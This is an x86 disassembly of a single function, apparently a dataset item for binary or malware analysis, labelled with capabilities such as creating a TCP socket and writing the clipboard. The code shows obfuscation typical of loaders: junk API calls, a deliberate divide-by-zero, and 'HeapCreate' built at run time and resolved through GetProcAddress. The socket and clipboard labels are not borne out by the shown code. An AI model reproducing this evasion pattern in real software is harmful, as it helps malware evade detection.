Function at 0x401930
Capabilities:
Copy file
Create tcp socket
Initialize winsock library
Move file
Open clipboard
Resolve function by parsing pe exports
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8dc
mov eax, dword [0x41b2c4]
xor eax, esp
mov dword [esp + 0x8d8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x34], eax
mov dword [0x41d180], eax
mov dword [esp + 0x3c8], eax
mov eax, dword [0x41d17c]
push ebx
lea eax, [eax + eax - 2]
push ebx
push eax
mov dword [0x41d17c], eax
lea eax, [esp + 0x5c]
push eax
push ebx
mov dword [esp + 0x64], ebx
mov dword [0x41d184], ebx
call dword [sym.imp.USER32.dll_BroadcastSystemMessageA]
cmp dword [0x41d184], ebx
mov ecx, dword [0x41d178]
jle 0x4019a6
cmp ecx, ebx
je 0x4019a6
xor eax, eax
cdq
xor esi, esi
idiv esi
add ecx, eax
jne 0x4019a2
mov eax, dword [0x41d17c]
mov edx, dword [esp + 0x34]
mov edi, dword [0x41d18c]
add ecx, eax
mov dword [0x41d178], ecx
mov dword [0x41d184], ebx
mov dword [esp + 0x38], edx
mov dword [esp + 0x40], ecx
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov eax, dword [esp + 0x18]
push eax
mov dword [0x41d178], 6
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov ecx, dword [esp + 0x34]
mov edx, dword [0x41d17c]
push ebx
push ecx
push ebx
push edi
push edx
mov dword [esp + 0x64], eax
mov eax, dword [0x41d178]
push eax
push ebx
push ebx
push 0x5000000b
push 0x416cb3
push str.button
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, dword [esp + 0x34]
push ebx
push ecx
push ebx
push edi
push ebx
push 0x7f
push ebx
push ebx
push 0x5000000b
push 0x416cb3
push str.button
push ebx
mov dword [esp + 0x40], eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
push ebx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
add eax, dword [esp + 0x38]
mov ecx, dword [0x41d188]
add eax, dword [ebp + 0x14]
add esi, 0x756
mov dword [0x41d190], eax
mov eax, dword [esp + 0x14]
shr eax, 0x10
mov dword [esp + 0x2c], eax
add dword [0x41d178], 0x756
lea edx, [esi + esi*2]
mov dword [esp + 0x38], edx
cdq
sub eax, edx
push 1
push ecx
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar eax, 1
sar ecx, 1
sub ecx, eax
movzx eax, word [esp + 0x1c]
cdq
sub eax, edx
push esi
push ecx
mov ecx, eax
mov eax, dword [esp + 0x48]
sar ecx, 1
cdq
sub eax, edx
mov edx, dword [esp + 0x20]
sar eax, 1
sub ecx, eax
push ecx
push edx
call dword [sym.imp.USER32.dll_MoveWindow]
lea eax, [esp + 0x218]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
movzx ecx, word [esp + 0x14]
mov eax, 0x66666667
imul ecx
mov ecx, dword [esp + 0x220]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add dword [esp + 0x218], eax
sub ecx, eax
mov eax, 0x66666667
imul dword [esp + 0x2c]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x224]
add dword [esp + 0x21c], eax
sub edx, eax
mov eax, dword [esp + 0x21c]
push 1
mov dword [esp + 0x228], edx
sub edx, eax
push edx
mov edx, dword [esp + 0x220]
mov dword [esp + 0x228], ecx
sub ecx, edx
push ecx
push eax
push edx
push edi
mov dword [0x41d188], esi
call dword [sym.imp.USER32.dll_MoveWindow]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x40]
push ecx
push edx
push ebx
push edi
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [esp + 0x218]
push eax
mov word [esp + 0x21c], bx
mov dword [esp + 0x21e], ebx
mov dword [esp + 0x222], ebx
mov dword [esp + 0x226], ebx
mov word [esp + 0x22a], bx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call edi
movzx ecx, word [esp + 0x224]
movzx edx, word [esp + 0x222]
movzx eax, word [esp + 0x220]
push ecx
movzx ecx, word [esp + 0x21c]
push edx
movzx edx, word [esp + 0x222]
push eax
movzx eax, word [esp + 0x22a]
push ecx
push edx
push eax
push str._02d__02d__04d__02d:_02d:_02d_n
call fcn.00404728
add esp, 0x1c
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
add dword [esp + 0x18], 0x254d3800
lea eax, [esp + 0x218]
push eax
adc dword [esp + 0x20], ebx
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx edx, word [esp + 0x224]
movzx eax, word [esp + 0x222]
movzx ecx, word [esp + 0x220]
push edx
movzx edx, word [esp + 0x21c]
push eax
movzx eax, word [esp + 0x222]
push ecx
movzx ecx, word [esp + 0x22a]
push edx
push eax
push ecx
push str._02d__02d__04d__02d:_02d:_02d_n
call fcn.00404728
add esp, 0x1c
lea edx, [esp + 0x218]
push edx
mov word [esp + 0x21c], bx
mov dword [esp + 0x21e], ebx
mov dword [esp + 0x222], ebx
mov dword [esp + 0x226], ebx
mov word [esp + 0x22a], bx
call edi
movzx eax, word [esp + 0x224]
movzx ecx, word [esp + 0x222]
movzx edx, word [esp + 0x220]
push eax
push ecx
push edx
push str.The_local_time_is:__02d:_02d:_02d_n
call fcn.00404728
mov ecx, dword [0x41d188]
mov eax, dword [0x41d18c]
push esi
lea edx, [esp + 0x3dc]
push edx
mov dword [esp + 0x28], ecx
push str._s:__d
xor ecx, ecx
lea edi, [esp + 0xa4]
mov dword [esp + 0x48], eax
call fcn.004011f0
add esp, 0x1c
test eax, eax
jl 0x401cfc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x2c]
mov eax, edi
push eax
push ebx
push 0x180
push ecx
push edx
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
test eax, eax
jge 0x401d02
mov dword [0x41d178], ebx
mov eax, dword [0x41d18c]
mov ecx, dword [0x41d188]
push 0x10
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
call fcn.00404b80
add esp, 4
push 0x10
mov dword [esp + 0x18], eax
call fcn.00404b80
mov edx, dword [esp + 0x18]
add esp, 4
mov edi, eax
mov eax, dword [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esp + 0xc]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea eax, [esi - 0x25]
cmp eax, 3
ja case.default.0x401d67
jmp dword [eax*4 + 0x402fec]
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x401d97
mov edx, dword [edi + 0xc]
sub edx, dword [edi + 4]
mov eax, dword [edi + 8]
sub eax, dword [edi]
push 2
add edx, 0x27
push edx
sub eax, 0x3c
push eax
push ebx
push ebx
jmp 0x401e9d
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge case.default.0x401d67
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
mov eax, dword [eax + 4]
push 1
sub edx, 5
jmp 0x401e99
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x401de6
mov edx, dword [edi + 0xc]
sub edx, dword [edi + 4]
mov eax, dword [edi + 8]
sub eax, dword [edi]
push 2
add edx, 0x27
push edx
add eax, 0x55
push eax
push 0xffffffffffffffd8
push 0xffffffffffffffec
jmp 0x401e9d
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge case.default.0x401d67
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
mov eax, dword [eax + 4]
push 1
add edx, 5
jmp 0x401e99
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x401e35
mov edx, dword [edi + 0xc]
sub edx, dword [edi + 4]
mov eax, dword [edi + 8]
sub eax, dword [edi]
push 0x20a
add edx, 0x60
push edx
add eax, 0x10
push eax
push 0xffffffffffffffd8
push 0xffffffffffffffec
jmp 0x401e9d
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge case.default.0x401d67
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
mov eax, dword [eax + 4]
add eax, 0x14
jmp 0x401e94
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x401e7b
mov edx, dword [edi + 0xc]
sub edx, dword [edi + 4]
mov eax, dword [edi + 8]
sub eax, dword [edi]
push 0x20a
sub edx, 0x20
push edx
add eax, 0x10
push eax
push 0xffffffffffffffd8
push 0xffffffffffffffec
jmp 0x401e9d
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge case.default.0x401d67
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
mov eax, dword [eax + 4]
sub eax, 0x14
push 0x209
push ebx
push ebx
push edx
push eax
mov ecx, dword [esp + 0x20]
push ebx
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
push ebx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 5
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [esp + 0x10]
mov edx, edi
shr edx, 0x10
push edx
movzx eax, di
push eax
lea ecx, [esp + 0x230]
push str.X:_d_Y:_d
push ecx
call fcn.0040411c
mov edx, dword [esp + 0x1c]
add esp, 0x10
push edi
push esi
push ebx
push edx
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov eax, dword [esp + 0x14]
push eax
call fcn.00404aa2
add esp, 4
cmp dword [esp + 0x70], 0x10
jb 0x401f0b
mov ecx, dword [esp + 0x5c]
push ecx
call fcn.00404aa2
add esp, 4
mov edi, dword [0x41d18c]
push edi
call dword [sym.imp.USER32.dll_IsWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0xfffffffffffffff0
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x18]
and eax, 0x40000000
mov dword [esp + 0x10], eax
je 0x401f43
push edi
call dword [sym.imp.USER32.dll_GetParent]
jmp 0x401f4c
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
cmp dword [esp + 0x10], ebx
je 0x401f5b
push edi
call dword [sym.imp.USER32.dll_GetParent]
jmp 0x401f64
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edx, dword [0x41d184]
add dword [0x41d17c], 0xa
add edx, 2
imul edx, dword [0x41d188]
push 0xfffffffffffffff0
push ebx
mov dword [0x41d178], edx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 4
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
cmp esi, ebx
mov ecx, dword [0x416d60]
mov dx, word [0x416d64]
mov dword [0x41d18c], eax
mov eax, 2
mov dword [esp + 0x54], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0xc], eax
mov eax, dword [str.xWinClass]
mov dword [esp + 0x218], eax
lea eax, [esp + 0x218]
mov dword [0x41d178], ebx
mov dword [esp + 0x3c], 1
mov dword [esp + 0x21c], ecx
mov word [esp + 0x220], dx
mov dword [esp + 0x228], 0x30
mov dword [esp + 0x22c], 3
mov dword [esp + 0x230], ebx
mov dword [esp + 0x234], ebx
mov dword [esp + 0x238], ebx
mov dword [esp + 0x23c], ebx
mov dword [esp + 0x240], ebx
mov dword [esp + 0x244], ebx
mov dword [esp + 0x248], 6
mov dword [esp + 0x24c], ebx
mov dword [esp + 0x250], eax
mov dword [esp + 0x254], ebx
mov dword [esp + 0x24], esi
je 0x40226a
lea ebx, [ebx]
sub dword [esp + 0x24], 1
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x7f00
push ebx
mov dword [esp + 0x244], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [esp + 0x28]
push 0xf
mov dword [esp + 0x244], eax
mov eax, dword [esp + 0x10]
push 0x19
add eax, 0xa
push ebx
lea edx, [ecx + eax*2]
push ebx
add edx, eax
add dword [esp + 0x24], edx
push ebx
call sub.DCIMAN32.dll_DCIBeginAccess
push 0x7f00
push ebx
mov dword [esp + 0x30], ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
mov edx, dword [0x41d18c]
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x20]
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [esp + 0x258], eax
mov eax, dword [0x41d17c]
push edx
lea ecx, [eax + eax]
mov eax, dword [esp + 0x6c]
push ebx
push ebx
sub ecx, eax
push ebx
sub ecx, edi
add eax, esi
sub dword [esp + 0x60], eax
push ebx
mov dword [esp + 0x258], 0x401250
mov dword [0x41d17c], ecx
call sub.DCIMAN32.dll_DCICreateOffscreen
push ebx
push ebx
push ebx
mov dword [esp + 0x18], ebx
call sub.DCIMAN32.dll_DCICreateOverlay
mov eax, 0xa
sub eax, esi
imul eax, dword [ebp + 0x14]
cmp edi, ebx
lea ecx, [esi + eax + 1]
mov dword [esp + 0x54], ebx
mov dword [esp + 0x20], ecx
jne 0x402155
cmp dword [0x41d184], ebx
jne 0x402155
cmp dword [0x41d18c], ebx
jne 0x402155
mov edi, dword [0x41d190]
push 0x50
push 0xb4
push 0x14
push 0x78
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
mov dword [esp + 0x44], eax
jmp 0x402169
push 0x50
push 0x50
push 0x14
push 0x14
xor edi, edi
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
mov dword [esp + 0x48], eax
push 0x190
push 0x258
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateRectRgn]
cmp edi, ebx
mov esi, eax
jne 0x4021bf
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x48]
push 3
push edx
push eax
push esi
call dword [sym.imp.GDI32.dll_CombineRgn]
mov edx, dword [esp + 0x284]
push ebx
lea ecx, [esp + 0x3cc]
push ecx
push edx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [esp + 0x18]
push 1
push esi
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
jmp 0x402260
mov eax, dword [0x41d18c]
mov ecx, dword [0x41d178]
push eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x44], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
mov dword [esp + 0x10], 4
mov edx, dword [esp + 0x40]
push edx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ecx, dword [esp + 0x2c]
mov edi, eax
lea eax, [esp + 0x58]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [esp + 0x40]
push edx
push 1
push ebx
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
push esi
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push edi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
push eax
mov eax, dword [esp + 0x5c]
push ecx
push edx
push eax
push esi
call dword [sym.imp.GDI32.dll_Rectangle]
mov ecx, dword [esp + 0x2c]
push esi
push ecx
call dword [sym.imp.USER32.dll_ReleaseDC]
push edi
mov edi, dword [sym.imp.GDI32.dll_DeleteObject]
call edi
mov edx, dword [esp + 0x18]
push edx
call edi
sub dword [esp + 0x10], 1
jne 0x4021e3
cmp dword [esp + 0x24], ebx
jne 0x402060
mov eax, dword [0x41d18c]
push str.kernel32
mov dword [0x41d178], 0xffffffeb
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x41d17c]
mov edx, dword [str.Heap]
mov esi, dword [0x41d178]
push 0xff
mov dword [esp + 0x28], ecx
mov dword [esp + 0x4c], eax
mov al, byte [0x416d80]
lea ecx, [esp + 0x2c9]
push ebx
push ecx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x2cc], edx
mov byte [esp + 0x2d0], al
call fcn.00408860
mov edx, dword [esp + 0x2c]
add esp, 0xc
push str.Create
lea eax, [esp + 0x2c4]
shl esi, 4
push eax
lea edi, [edx + esi - 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
mov ecx, dword [0x41d184]
shr eax, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [0x41d178]
mov esi, eax
sub esi, dword [esp + 0x30]
add ecx, edx
sub esi, 0xf5
imul esi, edi
lea ecx, [ecx + ecx*4]
mov edi, eax
lea esi, [esi + ecx*8 + 0x2002]
imul edi, esi
add eax, edx
add esi, eax
mov eax, dword [esp + 0x2c]
push eax
sub edi, 0x11
call dword [sym.imp.USER32.dll_GetDC]
mov ecx, dword [0x41d178]
mov eax, dword [esp + 0x50]
lea edx, [eax + ecx]
imul eax, dword [esp + 0x30]
imul edx, dword [0x41d17c]
mov ecx, dword [0x41d184]
add esi, edx
imul ecx, esi
lea edx, [eax + ecx + 0x91000]
mov eax, dword [esp + 0x18]
push eax
mov dword [esp + 0x48], edx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [esp + 0x18]
movzx eax, word [esp + 0x24]
push ecx
push eax
lea edx, [esp + 0x270]
push str.Mouse__X_Y_____d__d_
push edx
call fcn.0040411c
mov ecx, dword [esp + 0x24]
add dword [0x41d17c], 0xe
mov eax, esi
shl eax, 5
lea edx, [ecx + eax + 1]
mov eax, dword [esp + 0x20]
shr eax, 1
and eax, 1
push eax
mov dword [esp + 0x28], edx
push str.Right_Button___d
lea ecx, [esp + 0x280]
push ecx
call fcn.0040411c
mov eax, dword [esp + 0x64]
add esp, 0x1c
lea edx, [esp + 0x2c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x41d184]
sub ecx, esi
imul ecx, dword [0x41d188]
cmp edi, ecx
mov dword [esp + 0x18], eax
jne 0x4023fb
add dword [0x41d17c], 0x1010
mov edi, dword [esp + 0x10]
mov edx, edi
and edx, 1
push edx
lea eax, [esp + 0x26c]
push str.Left_Button___d
push eax
call fcn.0040411c
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x24]
add eax, dword [0x41d18c]
add esp, 0xc
push ecx
push 0x25000
add esi, 1
push 0x40000
mov dword [esp + 0x2c], esi
call eax
mov edx, dword [esp + 0x24]
push edx
push edi
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x34]
push ebx
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov ecx, dword [0x41d184]
mov edi, dword [esp + 0x30]
add ecx, edi
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x18], ecx
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [esp + 0x18]
add eax, ecx
mov dword [esp + 0x3c], eax
mov esi, 0x100
lea ebx, [ebx]
fild dword [0x41d178]
call fcn.0040ecd0
fmul qword [0x416ec0]
call fcn.0040ec20
push ebx
mov dword [0x41d17c], eax
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
sub esi, 1
jne 0x402480
lea edx, [esp + 0x48]
push edx
push ebx
push ebx
push 0x10002
push ebx
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x30], ebx
call dword [sym.imp.ole32.dll_StgOpenStorage]
xor eax, eax
xor edx, edx
add edi, 0x37
div edi
lea ecx, [esp + 0x3c8]
movzx edx, cx
mov dword [esp + 0x10], 4
add eax, dword [ebp + 0x14]
add edx, eax
lea eax, [esp + 0x4d0]
movzx ecx, ax
mov dword [esp + 0x18], edx
mov dword [esp + 0x48], ecx
jmp 0x4024f9
xor ebx, ebx
mov edx, dword [esp + 0x18]
push 4
push ebx
mov dword [0x41d178], edx
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 4
call fcn.00404b80
add esp, 4
cmp eax, ebx
je 0x402522
lea ecx, [esp + 0x58]
mov dword [eax], ecx
jmp 0x402524
xor eax, eax
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
lea ebx, [esp + 0x58]
mov dword [esp + 0x58], eax
call fcn.00403390
mov ebx, dword [esp + 0x74]
mov edx, dword [esp + 0x70]
lea edi, [edx + ebx]
mov esi, edi
shr esi, 2
cmp dword [esp + 0x6c], esi
ja 0x40255b
sub esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x68]
cmp dword [eax + esi*4], 0
jne 0x40257a
push 0x10
call fcn.00404b80
mov ecx, dword [esp + 0x6c]
mov dword [ecx + esi*4], eax
mov ebx, dword [esp + 0x78]
add esp, 4
mov edx, dword [esp + 0x68]
mov eax, dword [edx + esi*4]
and edi, 3
lea edi, [eax + edi*4]
test edi, edi
je 0x402595
mov dword [edi], 0
mov ebx, dword [esp + 0x74]
mov ecx, dword [esp + 0x70]
add ebx, 1
add ecx, ebx
test cl, 3
mov dword [esp + 0x74], ebx
jne 0x4025c0
lea edx, [ebx + 4]
shr edx, 2
cmp dword [esp + 0x6c], edx
ja 0x4025c0
lea ebx, [esp + 0x58]
call fcn.00403390
mov ebx, dword [esp + 0x74]
mov eax, dword [esp + 0x70]
lea edi, [eax + ebx]
mov eax, dword [esp + 0x6c]
mov esi, edi
shr esi, 2
cmp eax, esi
ja 0x4025d6
sub esi, eax
mov ecx, dword [esp + 0x68]
cmp dword [ecx + esi*4], 0
jne 0x4025f5
push 0x10
call fcn.00404b80
mov edx, dword [esp + 0x6c]
mov dword [edx + esi*4], eax
mov ebx, dword [esp + 0x78]
add esp, 4
mov eax, dword [esp + 0x68]
mov ecx, dword [eax + esi*4]
and edi, 3
lea edi, [ecx + edi*4]
test edi, edi
je 0x402610
mov dword [edi], 1
mov ebx, dword [esp + 0x74]
mov ecx, dword [0x41d17c]
movzx edx, cl
mov eax, 0x66666667
imul edx
mov eax, dword [0x41d178]
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
movzx edx, al
lea edx, [esp + edx + 0x4d0]
add ebx, 1
add edx, esi
cmp edx, 2
mov dword [esp + 0x74], ebx
jge 0x402650
mov edx, dword [esp + 0x20]
add edx, edx
mov dword [esp + 0x20], edx
movzx esi, ax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
shr esi, 2
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
cmp eax, dword [esp + 0x48]
jg 0x402689
fldz
call fcn.0040ebcc
fstp dword [esp + 0x44]
fld dword [esp + 0x44]
call fcn.0040ec20
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x70]
add ecx, ebx
test cl, 3
jne 0x4026ad
lea edx, [ebx + 4]
shr edx, 2
cmp dword [esp + 0x6c], edx
ja 0x4026ad
lea ebx, [esp + 0x58]
call fcn.00403390
mov ebx, dword [esp + 0x74]
mov eax, dword [esp + 0x70]
lea edi, [eax + ebx]
mov eax, dword [esp + 0x6c]
mov esi, edi
shr esi, 2
cmp eax, esi
ja 0x4026c3
sub esi, eax
mov ecx, dword [esp + 0x68]
cmp dword [ecx + esi*4], 0
jne 0x4026e6
push 0x10
call fcn.00404b80
mov edx, dword [esp + 0x6c]
mov dword [edx + esi*4], eax
mov ebx, dword [esp + 0x78]
mov eax, dword [esp + 0x70]
add esp, 4
mov ecx, dword [esp + 0x68]
mov edx, dword [ecx + esi*4]
and edi, 3
lea edi, [edx + edi*4]
test edi, edi
je 0x402705
mov dword [edi], 0
mov ebx, dword [esp + 0x74]
mov eax, dword [esp + 0x6c]
add ebx, 1
mov dword [esp + 0x74], ebx
je 0x402725
mov edi, edi
test ebx, ebx
je 0x402721
sub ebx, 1
jne 0x402710
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], ebx
test eax, eax
mov esi, eax
jbe 0x40274f
jmp 0x402730
mov eax, dword [esp + 0x68]
sub esi, 1
cmp dword [eax + esi*4], 0
je 0x40274b
mov ecx, eax
mov edx, dword [ecx + esi*4]
push edx
call fcn.00404aa2
add esp, 4
test esi, esi
ja 0x402730
cmp dword [esp + 0x68], 0
je 0x402763
mov eax, dword [esp + 0x68]
push eax
call fcn.00404aa2
add esp, 4
mov ecx, dword [esp + 0x58]
xor eax, eax
push ecx
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], eax
call fcn.00404aa2
add esp, 4
sub dword [esp + 0x10], 1
jne 0x4024f7
mov edx, dword [esp + 0x30]
push 0xffffffffffffffe6
push edx
call dword [sym.imp.USER32.dll_GetClassLongA]
or eax, 0x200
push eax
mov eax, dword [0x41d18c]
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
mov eax, dword [0x41d178]
lea edx, [esp + 0x4d0]
movzx edx, dl
movzx ecx, ax
add ecx, edx
lea edx, [esp + 0x4d0]
imul edx, edx, 0x756
cmp ecx, edx
je 0x4027d7
lea eax, [esp + eax*2 + 0x4d0]
mov dword [0x41d178], eax
cmp dword [0x41d188], 0
je 0x4027f0
mov ecx, dword [0x41d18c]
mov edx, dword [esp + 0x3c]
add edx, ecx
mov dword [esp + 0x18], edx
push 4
call fcn.00404b80
add esp, 4
test eax, eax
je 0x402809
lea ecx, [esp + 0x228]
mov dword [eax], ecx
jmp 0x40280b
xor eax, eax
mov dword [esp + 0x228], eax
call fcn.00403e80
mov dword [esp + 0x240], eax
mov byte [eax + 0xf], 1
mov eax, dword [esp + 0x240]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x240]
mov dword [eax], eax
mov eax, dword [esp + 0x240]
mov dword [eax + 8], eax
mov ecx, dword [esp + 0x240]
mov dword [esp + 0x244], 0
mov eax, dword [ecx + 4]
cmp byte [eax + 0xf], 0
mov bl, 0x6f
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], 0xd0
mov byte [esp + 0x10], 1
jne 0x40288d
lea ebx, [ebx]
cmp byte [eax + 0xc], bl
mov ecx, eax
seta dl
test dl, dl
mov byte [esp + 0x10], dl
je 0x402884
mov eax, dword [eax]
jmp 0x402887
mov eax, dword [eax + 8]
cmp byte [eax + 0xf], 0
je 0x402870
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
push eax
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x234]
push eax
call fcn.00403600
mov ecx, dword [esp + 0x240]
mov eax, dword [ecx + 4]
cmp byte [eax + 0xf], 0
mov ebx, dword [esp + 0x20]
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], 0
mov byte [esp + 0x10], 1
jne 0x4028ed
jmp 0x4028d0
cmp bl, byte [eax + 0xc]
mov ecx, eax
setb dl
test dl, dl
mov byte [esp + 0x10], dl
je 0x4028e4
mov eax, dword [eax]
jmp 0x4028e7
mov eax, dword [eax + 8]
cmp byte [eax + 0xf], 0
je 0x4028d0
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
push eax
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x234]
push eax
call fcn.00403600
mov ecx, dword [esp + 0x240]
mov eax, dword [ecx + 4]
cmp byte [eax + 0xf], 0
mov byte [esp + 0xc], 0
mov byte [esp + 0xd], 1
mov byte [esp + 0x10], 1
jne 0x40294e
jmp 0x402930
cmp byte [eax + 0xc], 0
mov ecx, eax
seta dl
test dl, dl
mov byte [esp + 0x10], dl
je 0x402945
mov eax, dword [eax]
jmp 0x402948
mov eax, dword [eax + 8]
cmp byte [eax + 0xf], 0
je 0x402930
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
push eax
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x234]
push eax
call fcn.00403600
mov eax, dword [esp + 0x240]
mov edi, dword [eax + 4]
cmp byte [edi + 0xf], 0
mov esi, edi
jne 0x4029aa
lea esp, [esp]
mov ecx, dword [esi + 8]
push ecx
lea ecx, [esp + 0x22c]
call fcn.004031a0
mov esi, dword [esi]
push edi
call fcn.00404aa2
add esp, 4
cmp byte [esi + 0xf], 0
mov edi, esi
je 0x402980
mov eax, dword [esp + 0x240]
mov edx, dword [esp + 0x40]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x240]
push 0x17000
mov dword [esp + 0x248], 0
mov dword [eax], eax
mov eax, dword [esp + 0x244]
push 0
push edx
mov dword [eax + 8], eax
call dword [esp + 0x24]
lea esi, [esp + 0x228]
mov dword [esp + 0x18], eax
call fcn.004031e0
mov eax, dword [esp + 0x228]
push eax
call fcn.00404aa2
add esp, 4
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
mov edi, eax
push edi
push str._u_devices._n
call fcn.00404911
add esp, 8
xor esi, esi
test edi, edi
jbe 0x402a6b
mov ebx, dword [sym.imp.WINMM.dll_waveInGetDevCapsA]
lea ecx, [ecx]
push 0x30
lea ecx, [esp + 0x5c]
push ecx
push esi
call ebx
lea edx, [esp + 0x60]
push edx
mov eax, edx
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
movzx ecx, word [esp + 0x84]
movzx edx, word [esp + 0x5a]
movzx eax, word [esp + 0x58]
push ecx
push edx
push eax
lea ecx, [esp + 0x6c]
push ecx
push esi
push str._u.__20s__04x__04x__d_n
call fcn.00404911
add esi, 1
add esp, 0x18
cmp esi, edi
jb 0x402a20
